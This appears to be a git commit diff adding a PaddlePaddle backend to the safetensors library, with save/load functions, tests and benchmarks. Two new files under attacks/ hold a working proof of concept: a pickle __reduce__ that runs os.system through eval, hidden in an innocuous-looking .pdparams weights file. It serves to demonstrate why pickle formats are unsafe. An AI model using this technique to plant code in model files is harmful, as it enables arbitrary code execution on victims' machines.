]> khamidou — GitHub mirrors - safetensors.git/commitdiff
Add PaddlePaddle backend (#176)
authoryujun <50394665+JunnYu@users.noreply.github.com>
Tue, 7 Feb 2023 14:44:54 +0000 (22:44 +0800)
committerGitHub <noreply@github.com>
Tue, 7 Feb 2023 14:44:54 +0000 (15:44 +0100)
* add paddle backend

* add paddle ace

* update docs

* Some modifications.

* Consistency.

* Showing Paddle format.

* donot modify lib.rs

* remove test_deserialization_safe_open test

* rm unused import

* make style

* Style.

---------

Co-authored-by: Nicolas Patry <patry.nicolas@protonmail.com>
17 files changed:
.github/workflows/python.yml
.gitignore
README.md
attacks/README.md
attacks/paddle_ace_create.py [new file with mode: 0644]
attacks/paddle_ace_get_pwned.py [new file with mode: 0644]
bindings/python/benches/test_paddle.py [new file with mode: 0644]
bindings/python/py_src/safetensors/__init__.py
bindings/python/py_src/safetensors/paddle.py [new file with mode: 0644]
bindings/python/setup.cfg
bindings/python/setup.py
bindings/python/tests/test_paddle_comparison.py [new file with mode: 0644]
bindings/python/tests/test_pt_comparison.py
bindings/python/tests/test_simple.py
safetensors/Cargo.toml
safetensors/README.md
safetensors/src/lib.rs

index f7ae26b49a06144f83c45ca5fb28665d17a319e7..24a6a79c5c8cad344a0c7655ef2d273c3689be78 100644 (file)
@@ -60,7 +60,7 @@ jobs:
         working-directory: ./bindings/python
         run: |
           pip install -U pip
-          pip install .[numpy,tensorflow]
+          pip install .[numpy,tensorflow,paddlepaddle]
           pip install ${{ matrix.torch_version }}
 
       - name: Install (jax, flax)
index df8ad35a272bdab1b27bcaf9d06bdc262f44575e..0bd235da145969a3f9230984fd654a3ad526b2a5 100644 (file)
@@ -4,5 +4,6 @@ Cargo.lock
 *.h5
 *.msgpack
 *.pt
+*.pdparams
 *.safetensors
 *.npz
index f545dfd37a4550ba6f91bc266488e9cbe43e9734..87bda92c2c7a5c622f867aaeb04fe0599b4cacbf 100644 (file)
--- a/README.md
+++ b/README.md
@@ -80,6 +80,7 @@ This is my very personal and probably biased view:
 | Cap'n'Proto             | 🗸 | 🗸 | ~ | 🗸 | 🗸 | ~ | ✗ |
 | Arrow                   | ? | ? | ? | ? | ? | ? | ✗ |
 | Numpy (npy,npz)         | 🗸 | ? | ? | ✗ | 🗸 | ✗ | ✗ |
+| pdparams (Paddle)       | ✗ | ✗ | ✗ | 🗸 | ✗ | 🗸 | 🗸 |
 | SafeTensors             | 🗸 | 🗸 | 🗸 | 🗸 | 🗸 | ✗ | 🗸 |
 
 - Safe: Can I use a file randomly downloaded and expect not to run arbitrary code ?
index 0eee34cab5f8fdb6d66f40e40d3a9f8d26a8f749..9be63785ffc766f8744f2da2b462dfabe4d24df9 100644 (file)
@@ -9,6 +9,14 @@ python torch_ace_create.py
 python torch_ace_get_pwned.py
 ```
 
+# PaddlePaddle Arbitrary code execution
+
+Try it out. This will create a seemingly innocuous `paddle_ace.pdparams` file.
+```
+python paddle_ace_create.py
+python paddle_ace_get_pwned.py
+```
+
 # Tensorflow (Keras) Arbitrary Code execution (does not affect `transformers`)
 
 Try it out. This will create a seemingly innocuous `tf_ace.h5` file.
diff --git a/attacks/paddle_ace_create.py b/attacks/paddle_ace_create.py
new file mode 100644 (file)
index 0000000..1d23bec
--- /dev/null
@@ -0,0 +1,53 @@
+import paddle
+import numpy as np
+from collections import Iterable, OrderedDict
+    
+def _parse_every_object(obj, condition_func, convert_func):
+    if condition_func(obj):
+        return convert_func(obj)
+    elif isinstance(obj, (dict, OrderedDict, list)):
+        if isinstance(obj, list):
+            keys = range(len(obj))
+        else:
+            keys = list(obj.keys())
+        for key in keys:
+            if condition_func(obj[key]):
+                obj[key] = convert_func(obj[key])
+            else:
+                obj[key] = _parse_every_object(
+                    obj[key], condition_func, convert_func
+                )
+        return obj
+    elif isinstance(obj, tuple):
+        return tuple(
+            _parse_every_object(list(obj), condition_func, convert_func)
+        )
+    elif isinstance(obj, set):
+        object(list(obj), condition_func, convert_func)
+    else:
+        return obj
+    
+# hack _parse_every_object method
+paddle.framework.io._parse_every_object = _parse_every_object
+
+class BadDict(dict):
+    def __init__(self, src: str, **kwargs):
+        super().__init__(**kwargs)
+        self.src = src
+
+    def __reduce__(self):
+        return (
+            eval,
+            (f"os.system('{self.src}') or dict()",),
+            None,
+            None,
+            iter(self.items()),
+        )
+
+paddle.save(
+    [BadDict(
+        'echo "pwned your computer, I can do anything I want."',
+        **{"weight": paddle.zeros((2, 2))},
+    )],
+    "paddle_ace.pdparams", 
+)
diff --git a/attacks/paddle_ace_get_pwned.py b/attacks/paddle_ace_get_pwned.py
new file mode 100644 (file)
index 0000000..c4a80fa
--- /dev/null
@@ -0,0 +1,6 @@
+import paddle
+
+weights = paddle.load("paddle_ace.pdparams")[0]
+assert list(weights.keys()) == ["weight"]
+assert paddle.allclose(weights["weight"], paddle.zeros((2, 2)))
+print("The file looks fine !")
diff --git a/bindings/python/benches/test_paddle.py b/bindings/python/benches/test_paddle.py
new file mode 100644 (file)
index 0000000..ed98830
--- /dev/null
@@ -0,0 +1,53 @@
+import tempfile
+
+import numpy as np
+
+import paddle
+from safetensors.paddle import load_file, save_file
+
+
+def create_gpt2(n_layers: int):
+    tensors = {}
+    tensors["wte"] = paddle.zeros((50257, 768))
+    tensors["wpe"] = paddle.zeros((1024, 768))
+    for i in range(n_layers):
+        tensors[f"h.{i}.ln_1.weight"] = paddle.zeros((768,))
+        tensors[f"h.{i}.ln_1.bias"] = paddle.zeros((768,))
+        tensors[f"h.{i}.attn.bias"] = paddle.zeros((1, 1, 1024, 1024))
+        tensors[f"h.{i}.attn.c_attn.weight"] = paddle.zeros((768, 2304))
+        tensors[f"h.{i}.attn.c_attn.bias"] = paddle.zeros((2304,))
+        tensors[f"h.{i}.attn.c_proj.weight"] = paddle.zeros((768, 768))
+        tensors[f"h.{i}.attn.c_proj.bias"] = paddle.zeros((768,))
+        tensors[f"h.{i}.ln_2.weight"] = paddle.zeros((768,))
+        tensors[f"h.{i}.ln_2.bias"] = paddle.zeros((768,))
+        tensors[f"h.{i}.mlp.c_fc.weight"] = paddle.zeros((768, 3072))
+        tensors[f"h.{i}.mlp.c_fc.bias"] = paddle.zeros((3072,))
+        tensors[f"h.{i}.mlp.c_proj.weight"] = paddle.zeros((3072, 768))
+        tensors[f"h.{i}.mlp.c_proj.bias"] = paddle.zeros((768,))
+    tensors["ln_f.weight"] = paddle.zeros((768,))
+    tensors["ln_f.bias"] = paddle.zeros((768,))
+    return tensors
+
+
+def test_paddle_paddle_load(benchmark):
+    # benchmark something
+    weights = create_gpt2(12)
+    with tempfile.NamedTemporaryFile() as f:
+        paddle.save(weights, f.name)
+        result = benchmark(paddle.load, f.name)
+
+    for k, v in weights.items():
+        tv = result[k]
+        assert paddle.allclose(v, tv)
+
+
+def test_paddle_sf_load(benchmark):
+    # benchmark something
+    weights = create_gpt2(12)
+    with tempfile.NamedTemporaryFile() as f:
+        save_file(weights, f.name)
+        result = benchmark(load_file, f.name)
+
+    for k, v in weights.items():
+        tv = result[k]
+        assert np.allclose(v, tv)
index 23ab93229930d42c6601ac2b81399a501815edbb..8923ae9b8ad9d83060d1f3081f4e353a007936b8 100644 (file)
@@ -1,4 +1,4 @@
 __version__ = "0.2.9"
 
 # Re-export this
-from ._safetensors_rust import safe_open, serialize, serialize_file, deserialize, SafetensorError  # noqa: F401
+from ._safetensors_rust import SafetensorError, deserialize, safe_open, serialize, serialize_file  # noqa: F401
diff --git a/bindings/python/py_src/safetensors/paddle.py b/bindings/python/py_src/safetensors/paddle.py
new file mode 100644 (file)
index 0000000..8a83b98
--- /dev/null
@@ -0,0 +1,138 @@
+import os
+from typing import Dict, Optional, Union
+
+import numpy as np
+
+import paddle
+from safetensors import numpy
+
+
+def save(tensors: Dict[str, paddle.Tensor], metadata: Optional[Dict[str, str]] = None) -> bytes:
+    """
+    Saves a dictionnary of tensors into raw bytes in safetensors format.
+
+    Args:
+        tensors (`Dict[str, paddle.Tensor]`):
+            The incoming tensors. Tensors need to be contiguous and dense.
+        metadata (`Dict[str, str]`, *optional*, defaults to `None`):
+            Optional text only metadata you might want to save in your header.
+            For instance it can be useful to specify more about the underlying
+            tensors. This is purely informative and does not affect tensor loading.
+
+    Returns:
+        `bytes`: The raw bytes representing the format
+
+    Example:
+
+    ```python
+    from safetensors.paddle import save
+    import paddle
+
+    tensors = {"embedding": paddle.zeros((512, 1024)), "attention": paddle.zeros((256, 256))}
+    byte_data = save(tensors)
+    ```
+    """
+    np_tensors = _paddle2np(tensors)
+    return numpy.save(np_tensors, metadata=metadata)
+
+
+def save_file(
+    tensors: Dict[str, paddle.Tensor],
+    filename: Union[str, os.PathLike],
+    metadata: Optional[Dict[str, str]] = None,
+) -> None:
+    """
+    Saves a dictionnary of tensors into raw bytes in safetensors format.
+
+    Args:
+        tensors (`Dict[str, paddle.Tensor]`):
+            The incoming tensors. Tensors need to be contiguous and dense.
+        filename (`str`, or `os.PathLike`)):
+            The filename we're saving into.
+        metadata (`Dict[str, str]`, *optional*, defaults to `None`):
+            Optional text only metadata you might want to save in your header.
+            For instance it can be useful to specify more about the underlying
+            tensors. This is purely informative and does not affect tensor loading.
+
+    Returns:
+        `None`
+
+    Example:
+
+    ```python
+    from safetensors.paddle import save_file
+    import paddle
+
+    tensors = {"embedding": paddle.zeros((512, 1024)), "attention": paddle.zeros((256, 256))}
+    save_file(tensors, "model.safetensors")
+    ```
+    """
+    np_tensors = _paddle2np(tensors)
+    return numpy.save_file(np_tensors, filename, metadata=metadata)
+
+
+def load(data: bytes, device: str = "cpu") -> Dict[str, paddle.Tensor]:
+    """
+    Loads a safetensors file into paddle format from pure bytes.
+
+    Args:
+        data (`bytes`):
+            The content of a safetensors file
+
+    Returns:
+        `Dict[str, paddle.Tensor]`: dictionary that contains name as key, value as `paddle.Tensor` on cpu
+
+    Example:
+
+    ```python
+    from safetensors.paddle import load
+
+    file_path = "./my_folder/bert.safetensors"
+    with open(file_path, "rb") as f:
+        data = f.read()
+
+    loaded = load(data)
+    ```
+    """
+    flat = numpy.load(data)
+    return _np2paddle(flat, device)
+
+
+def load_file(filename: Union[str, os.PathLike], device="cpu") -> Dict[str, paddle.Tensor]:
+    """
+    Loads a safetensors file into paddle format.
+
+    Args:
+        filename (`str`, or `os.PathLike`)):
+            The name of the file which contains the tensors
+        device (`Dict[str, any]`, *optional*, defaults to `cpu`):
+            The device where the tensors need to be located after load.
+            available options are all regular paddle device locations
+
+    Returns:
+        `Dict[str, paddle.Tensor]`: dictionary that contains name as key, value as `paddle.Tensor`
+
+    Example:
+
+    ```python
+    from safetensors.paddle import load_file
+
+    file_path = "./my_folder/bert.safetensors"
+    loaded = load_file(file_path)
+    ```
+    """
+    flat = numpy.load_file(filename)
+    output = _np2paddle(flat, device)
+    return output
+
+
+def _np2paddle(numpy_dict: Dict[str, np.ndarray], device: str = "cpu") -> Dict[str, paddle.Tensor]:
+    for k, v in numpy_dict.items():
+        numpy_dict[k] = paddle.to_tensor(v, place=device)
+    return numpy_dict
+
+
+def _paddle2np(paddle_dict: Dict[str, paddle.Tensor]) -> Dict[str, np.array]:
+    for k, v in paddle_dict.items():
+        paddle_dict[k] = v.detach().cpu().numpy()
+    return paddle_dict
index 2d605ccceca788875ad5888c4950cf8ec3ebf8f2..168141a1186aa2f7612cda8b8ea553df3a0697c1 100644 (file)
@@ -40,6 +40,7 @@ known_third_party =
     torchvision
     torch_xla
     tqdm
+    paddlepaddle
 
 line_length = 119
 lines_after_imports = 2
index ea2c6c31620389b5fe70bf9461f10fcccae62688..f6f095fdaaa764e3467bea2a67aa34ca06571dc5 100644 (file)
@@ -21,6 +21,7 @@ _deps = [
     "pytest-benchmark",
     "tensorflow",
     "torch",
+    "paddlepaddle",
 ]
 
 
@@ -36,12 +37,19 @@ extras["torch"] = deps_list("torch")
 extras["numpy"] = deps_list("numpy")
 extras["tensorflow"] = deps_list("tensorflow")
 extras["jax"] = deps_list("jax", "flax")
+extras["paddlepaddle"] = deps_list("paddlepaddle")
 extras["quality"] = deps_list("black", "isort", "flake8", "click")
 extras["testing"] = (
     deps_list("setuptools_rust", "huggingface_hub", "pytest", "pytest-benchmark", "h5py") + extras["numpy"]
 )
 extras["all"] = (
-    extras["torch"] + extras["numpy"] + extras["tensorflow"] + extras["jax"] + extras["quality"] + extras["testing"]
+    extras["torch"]
+    + extras["numpy"]
+    + extras["tensorflow"]
+    + extras["jax"]
+    + extras["paddlepaddle"]
+    + extras["quality"]
+    + extras["testing"]
 )
 extras["dev"] = extras["all"]
 
diff --git a/bindings/python/tests/test_paddle_comparison.py b/bindings/python/tests/test_paddle_comparison.py
new file mode 100644 (file)
index 0000000..47b69ce
--- /dev/null
@@ -0,0 +1,28 @@
+import unittest
+
+import numpy as np
+
+import paddle
+from safetensors.paddle import load_file, save_file
+
+
+class SafeTestCase(unittest.TestCase):
+    def setUp(self):
+        data = {
+            "test": paddle.zeros((1024, 1024), dtype=paddle.float32),
+            "test2": paddle.zeros((1024, 1024), dtype=paddle.float32),
+            "test3": paddle.zeros((1024, 1024), dtype=paddle.float32),
+        }
+        self.paddle_filename = "./tests/data/paddle_load.pdparams"
+        self.sf_filename = "./tests/data/paddle_load.safetensors"
+
+        paddle.save(data, self.paddle_filename)
+        save_file(data, self.sf_filename)
+
+    def test_deserialization_safe(self):
+        weights = load_file(self.sf_filename)
+
+        paddle_weights = paddle.load(self.paddle_filename)
+        for k, v in weights.items():
+            tv = paddle_weights[k]
+            self.assertTrue(np.allclose(v, tv))
index 38f4f389f1cc3b0a5436031bd5c6090ec42f405d..f6f2b702fca4a102fc1bc19c70c1b885a0a9f7d4 100644 (file)
@@ -49,11 +49,9 @@ class TorchTestCase(unittest.TestCase):
             save_file(data, local)
         self.assertEqual(
             str(ctx.exception),
-            (
-                "You are trying to save a sparse tensor: `test` which this library does not support. You can make it a"
-                " dense tensor before saving with `.to_dense()` but be aware this might make a much larger file than"
-                " needed."
-            ),
+            "You are trying to save a sparse tensor: `test` which this library does not support. You can make it a"
+            " dense tensor before saving with `.to_dense()` but be aware this might make a much larger file than"
+            " needed.",
         )
 
     def test_bogus(self):
index 1f1122ecfeea3b3400a98b9d1485c3155095dbbb..601f0857caa0716cdc491e5e4f4b4522f8ea1c61 100644 (file)
@@ -5,8 +5,8 @@ from pathlib import Path
 import numpy as np
 import torch
 
+from safetensors import SafetensorError, safe_open, serialize
 from safetensors.numpy import load, load_file, save, save_file
-from safetensors import safe_open, SafetensorError, serialize
 from safetensors.torch import load_file as load_file_pt
 from safetensors.torch import save_file as save_file_pt
 
index 7e525bc197f5f5498eb0c66269d0372497a76ddd..7ed8302eecf62d5c40f9cc257e0b6f495f6deb7b 100644 (file)
@@ -6,7 +6,7 @@ homepage = "https://github.com/huggingface/safetensors"
 repository = "https://github.com/huggingface/safetensors"
 documentation = "https://docs.rs/safetensors/"
 license = "Apache-2.0"
-keywords = ["safetensors", "huggingface", "Tensors", "Pytorch", "Tensorflow"]
+keywords = ["safetensors", "huggingface", "Tensors", "Pytorch", "Tensorflow", "PaddlePaddle"]
 readme = "./README.md"
 description = """
 Provides functions to read and write safetensors which aim to be safer than
index f545dfd37a4550ba6f91bc266488e9cbe43e9734..87bda92c2c7a5c622f867aaeb04fe0599b4cacbf 100644 (file)
@@ -80,6 +80,7 @@ This is my very personal and probably biased view:
 | Cap'n'Proto             | 🗸 | 🗸 | ~ | 🗸 | 🗸 | ~ | ✗ |
 | Arrow                   | ? | ? | ? | ? | ? | ? | ✗ |
 | Numpy (npy,npz)         | 🗸 | ? | ? | ✗ | 🗸 | ✗ | ✗ |
+| pdparams (Paddle)       | ✗ | ✗ | ✗ | 🗸 | ✗ | 🗸 | 🗸 |
 | SafeTensors             | 🗸 | 🗸 | 🗸 | 🗸 | 🗸 | ✗ | 🗸 |
 
 - Safe: Can I use a file randomly downloaded and expect not to run arbitrary code ?
index fd7a88e34ab2cf576d8349bf4d073145ca38f350..efbd3fee6858dc0206ba64ac66d1b4ee251e1948 100644 (file)
@@ -79,6 +79,7 @@
 //!| Cap'n'Proto             | 🗸 | 🗸 | ~ | 🗸 | 🗸 | ~ | ✗ |
 //!| Arrow                   | ? | ? | ? | ? | ? | ? | ✗ |
 //!| Numpy (npy,npz)         | 🗸 | ? | ? | ✗ | 🗸 | ✗ | ✗ |
+//!| pdparams (Paddle)       | ✗ | ✗ | ✗ | 🗸 | ✗ | 🗸 | 🗸 |
 //!| SafeTensors             | 🗸 | 🗸 | 🗸 | 🗸 | 🗸 | ✗ | 🗸 |
 //!
 //!- Safe: Can I use a file randomly downloaded and expect not to run arbitrary code ?